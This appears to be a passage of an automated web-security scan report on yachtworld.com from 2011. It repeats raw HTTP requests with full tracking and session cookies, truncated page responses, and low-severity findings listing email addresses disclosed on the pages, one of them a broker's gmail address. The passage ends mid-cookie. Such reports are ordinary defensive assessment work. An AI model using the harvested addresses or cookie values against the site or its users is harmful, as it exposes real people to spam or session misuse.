savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:53:15 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:07:22 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
<title>B ...[SNIP]... string represents an atom (basically a series of non-special characters.) */ var atom=validChars + '+' /* The following string represents one word in the typical username. For example, in john.doe@somewhere.com, john and doe are words. Basically, a word is either an atom or quoted string. */ var word="(" + atom + "|" + quotedUser + ")" // The following pattern describes the structure of the user var ...[SNIP]... <i>youremail@boats.com</i> ...[SNIP]...
The following email addresses were disclosed in the response:
john.doe@somewhere.com
youremail@boats.com
Request
GET /boats/category/type/builder/model/United+States/Texas/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:53:06 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:07:12 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
<title>B ...[SNIP]... string represents an atom (basically a series of non-special characters.) */ var atom=validChars + '+' /* The following string represents one word in the typical username. For example, in john.doe@somewhere.com, john and doe are words. Basically, a word is either an atom or quoted string. */ var word="(" + atom + "|" + quotedUser + ")" // The following pattern describes the structure of the user var ...[SNIP]... <i>youremail@boats.com</i> ...[SNIP]...
The following email addresses were disclosed in the response:
john.doe@somewhere.com
youremail@boats.com
Request
GET /boats/category/type/builder/model/United+States/Virginia/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:53:12 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:07:19 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
<title>B ...[SNIP]... string represents an atom (basically a series of non-special characters.) */ var atom=validChars + '+' /* The following string represents one word in the typical username. For example, in john.doe@somewhere.com, john and doe are words. Basically, a word is either an atom or quoted string. */ var word="(" + atom + "|" + quotedUser + ")" // The following pattern describes the structure of the user var ...[SNIP]... <i>youremail@boats.com</i> ...[SNIP]...
The following email addresses were disclosed in the response:
john.doe@somewhere.com
youremail@boats.com
Request
GET /boats/category/type/builder/model/United+States/Washington/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:53:01 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:07:07 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
<title>B ...[SNIP]... string represents an atom (basically a series of non-special characters.) */ var atom=validChars + '+' /* The following string represents one word in the typical username. For example, in john.doe@somewhere.com, john and doe are words. Basically, a word is either an atom or quoted string. */ var word="(" + atom + "|" + quotedUser + ")" // The following pattern describes the structure of the user var ...[SNIP]... <i>youremail@boats.com</i> ...[SNIP]...
The following email addresses were disclosed in the response:
john.doe@somewhere.com
youremail@boats.com
Request
GET /boats/category/type/builder/model/United+States/Wisconsin/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:53:13 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:07:20 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
<title>B ...[SNIP]... string represents an atom (basically a series of non-special characters.) */ var atom=validChars + '+' /* The following string represents one word in the typical username. For example, in john.doe@somewhere.com, john and doe are words. Basically, a word is either an atom or quoted string. */ var word="(" + atom + "|" + quotedUser + ")" // The following pattern describes the structure of the user var ...[SNIP]... <i>youremail@boats.com</i> ...[SNIP]...
The following email address was disclosed in the response:
bearmarkyachts@gmail.com
Request
GET /byp/categories/BrokerageSales/YachtBrokerageFirms_CA.html.en HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dht